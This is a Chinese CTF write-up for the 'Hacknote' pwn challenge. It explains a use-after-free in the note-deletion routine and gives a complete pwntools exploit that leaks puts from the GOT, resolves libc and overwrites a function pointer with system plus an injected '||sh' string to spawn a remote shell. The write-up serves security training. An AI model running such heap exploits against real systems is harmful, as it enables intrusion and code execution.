攻防世界PWN之Hacknote题解

Hacknote

首先,查看程序的保护机制

攻防世界PWN之Hacknote题解

然后拖入IDA分析

攻防世界PWN之Hacknote题解

这是创建堆,并写入信息。

经过分析,大概是这样的

 

  1. typedef struct Note {  
  2.     void *func; //函数指针  
  3.     char *buf; //内容指针  
  4. } Note;  
  5.   
  6. //保存Node的指针数组  
  7. Note *notes[5];  
  8. int i = 0;  
  9.   
  10. void show(Note *note) {  
  11.     //显示buf的内容  
  12.     puts((char *)(note + 4));  
  13. }  
  14.   
  15. void create(int size) {  
  16.     Note *note = (Note *)malloc(0x8);  
  17.     note->func = show;  
  18.     note->buf = (char *)malloc(size);  
  19.     notes[i++] = note;  
  20. }  

再看看print功能

攻防世界PWN之Hacknote题解

即调用

  1. notes[i]->func(notes[i]);  

再看看delete功能

攻防世界PWN之Hacknote题解

Free后没有把指针设置为NULL,这将会引起UAF漏洞

 

上述的释放是这样的

  1. free(note[i]->buf);  
  2. free(note[i]);  

 

如何利用UAF呢?

 

首先,我们先创建2个0x20的堆,释放后由fastbin或tcache bin维护

释放后,堆布局如下

大小(字节)

状态

Note0

0x8

空闲

Buf0

0x20

空闲

Note1

0x8

空闲

Buf1

0x20

空闲

 

现在我们create(0x8),那么先会有

  1. Note *note = (Note *)malloc(0x8);  

Fastbin或tcache bin中存在0x8的空闲块,那么直接返回那个空闲块的地址,这里返回的是note1的地址(因为fastbin或tcache使用单向链表维护,并且遵循后进先出的规则)

 

接下来,执行

  1. note->buf = (char *)malloc(size);  

返回了note0的地址,由于我们的字符串是可以写入buf的,因此,我们写的字符串正好就可以写入note0的结构体。

 

那么,我们就可以修改note0funcbuf,来执行其他函数了。

 

首先,我们需要得到libc基地址,那么我们需要泄露一个函数的地址,这里,我们选用puts

 

  1. payload = p32(0x804862B) + p32(puts_got)  
  2. #这个8字节空间正好分配到了note0的结构体处  
  3. create(0x8,payload)  
  4.   
  5. #泄露puts的加载地址  
  6. show(0)  

接下来,我们用同样的方法

删除堆2,那么,现在堆的布局如下

大小(字节)

状态

Buf2 (Note0)

0x8

空闲

Buf0

0x20

空闲

Note2 (Note1)

0x8

空闲

Buf1

0x20

空闲

 

我们再create(0x8),和上面同理

Note3分配到Note2 (Note1)处,Buf3分配到Buf2 (Note0)处

  1. payload = p32(system_addr) + '||sh'  
  2. create(0x8,payload)  
  3. # get shell  
  4. show(0)  

这个||sh是shell注入,因为按照原来的show的逻辑,是这样的

  1. system(note[i]);   

而note[i]是一个结构体,前四字节是system的地址,接下来是||sh字符串,所以,传给system的字符串实际上时xxxx||sh,这是一种或表达式,相当于注入一样

 

因此,我们最终的exp脚本为

  1. #coding:utf8  
  2. from pwn import *  
  3. from LibcSearcher import *  
  4.   
  5. #sh = process('./hacknote')  
  6. sh = remote('111.198.29.45',33242)  
  7. elf = ELF('./hacknote')  
  8. puts_got = elf.got['puts']  
  9. puts_plt = elf.plt['puts']  
  10. show_addr = 0x804862B  
  11.   
  12. def create(size,content):  
  13.    sh.sendlineafter('Your choice :','1')  
  14.    sh.sendlineafter('Note size :',str(size))  
  15.    sh.sendafter('Content :',content)  
  16.   
  17. def delete(index):  
  18.    sh.sendlineafter('Your choice :','2')  
  19.    sh.sendlineafter('Index :',str(index))  
  20.   
  21. def show(index):  
  22.    sh.sendlineafter('Your choice :','3')  
  23.    sh.sendlineafter('Index :',str(index))  
  24.   
  25. #创建二个堆  
  26. create(0x20,'a'*0x20)  
  27. create(0x20,'b'*0x20)  
  28. delete(0)  
  29. delete(1)  
  30. payload = p32(0x804862B) + p32(puts_got)  
  31. #这个8字节空间正好分配到了note0的结构体处  
  32. create(0x8,payload)  
  33.   
  34. #泄露puts的加载地址  
  35. show(0)  
  36. #获得puts的加载地址  
  37. puts_addr = u32(sh.recv(4))  
  38.   
  39. libc = LibcSearcher('puts',puts_addr)  
  40. print hex(puts_addr)  
  41. libc_base = puts_addr - libc.dump('puts')  
  42. print 'libc base:',hex(libc_base)  
  43. system_addr = libc_base + libc.dump('system')  
  44. binsh_addr = libc_base + libc.dump('str_bin_sh')  
  45. ''''' 
  46. libc = ELF('/usr/lib/libc-2.17.so') 
  47. libc_base = puts_addr - libc.sym['puts'] 
  48. print 'libc base:',hex(libc_base) 
  49. system_addr = libc_base + libc.sym['system'] 
  50. binsh_addr = libc_base + libc.search('/bin/sh').next() 
  51. '''  
  52.   
  53. delete(2)  
  54. payload = p32(system_addr) + '||sh'  
  55. create(0x8,payload)  
  56. # get shell  
  57. show(0)  
  58.   
  59. sh.interactive()